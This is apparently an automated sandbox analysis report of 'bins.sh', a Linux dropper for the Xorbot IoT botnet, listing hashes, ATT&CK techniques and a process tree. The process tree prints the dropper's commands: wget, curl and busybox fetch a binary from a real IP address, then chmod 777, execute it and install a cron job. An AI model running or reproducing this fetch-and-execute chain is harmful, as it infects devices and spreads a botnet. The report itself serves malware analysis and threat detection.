xorbot | ed5138a5800c6bedfbcd9e9a46d11323dcc2696d92bd42f1d99c46d7bf07f4bd

Analysis

max time kernel
149s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-12-2024 13:22

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General

Target

bins.sh
Size

10KB
MD5

3edce6c590ad87ba627b4ce0f9ab1a02
SHA1

a47f28477a3b672132deb0af3e3cd214f020bb04
SHA256

ed5138a5800c6bedfbcd9e9a46d11323dcc2696d92bd42f1d99c46d7bf07f4bd
SHA512

b8687eeb804b48d6a1aa0726cdedd9aabda86144e5c111b2ffcabc6f4a795d17bdb5b9c4dc55072094f4e5d6c7385b6b74693b5bed914677adce9ca8aad51701
SSDEEP

96:r3/beW4YNrxvuy6DTKJGJGJsJXJzw/O28PMewJGJGJsJXJzhSlD942KP4De/7uy8:r3/bd4YNtvuy6DTt1E1Ouy6DT6/bd4Y4

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1071) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1496	chmod

Executes dropped EXE 1 IoCs

Processes:

9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

ioc	pid	Process
/tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO	1497	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

Renames itself 1 IoCs

Processes:

9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

pid	Process
1498	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RNe5G3	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

description	ioc	Process
File opened for reading	/proc/115/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1151/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1514/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1648/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/9/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1576/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1528/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1597/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/651/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1283/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1477/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1558/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1606/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1655/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1126/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/89/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/3/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/421/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/507/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1137/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1361/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1557/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1583/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1599/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/420/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1228/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1541/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1556/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1077/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1534/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1540/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1586/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1651/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1516/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1323/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1579/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/165/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1029/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1136/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1511/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1664/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/156/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/158/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/159/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/253/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1478/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1538/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1543/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/21/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1505/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1598/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1624/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1641/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1035/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1155/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1480/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1522/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1531/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/1577/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/32/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/85/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/169/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/198/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
File opened for reading	/proc/627/cmdline	9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO	busybox
File opened for modification	/tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO	wget
File opened for modification	/tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1480
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1481
- /usr/bin/wget
  wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  - Writes file to tmp directory
  PID:1482
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  - Writes file to tmp directory
  PID:1486
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  ./9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1497
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1499
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1500
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1501
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1502
- /bin/rm
  rm 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
  2⤵
  PID:1507

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.RNe5G3

Filesize
210B

MD5
e809e7623c23d225bf6ee2239cfa6a5f

SHA1
a5b209613af0394ff77c5baa65d1774e766b8c7f

SHA256
e27648a843b31abc9d0f2b6d24e3fec19053fb7818923ce93db87d7bbe864d77

SHA512
333234aaa304d7b88762e950ac80b8c123c00323d7f9781f5505d8b2f70c2809bb6c79c7aa41811a94ed630b12949e776b4891542c6a6d4340363dab93ab90f0

Download Submit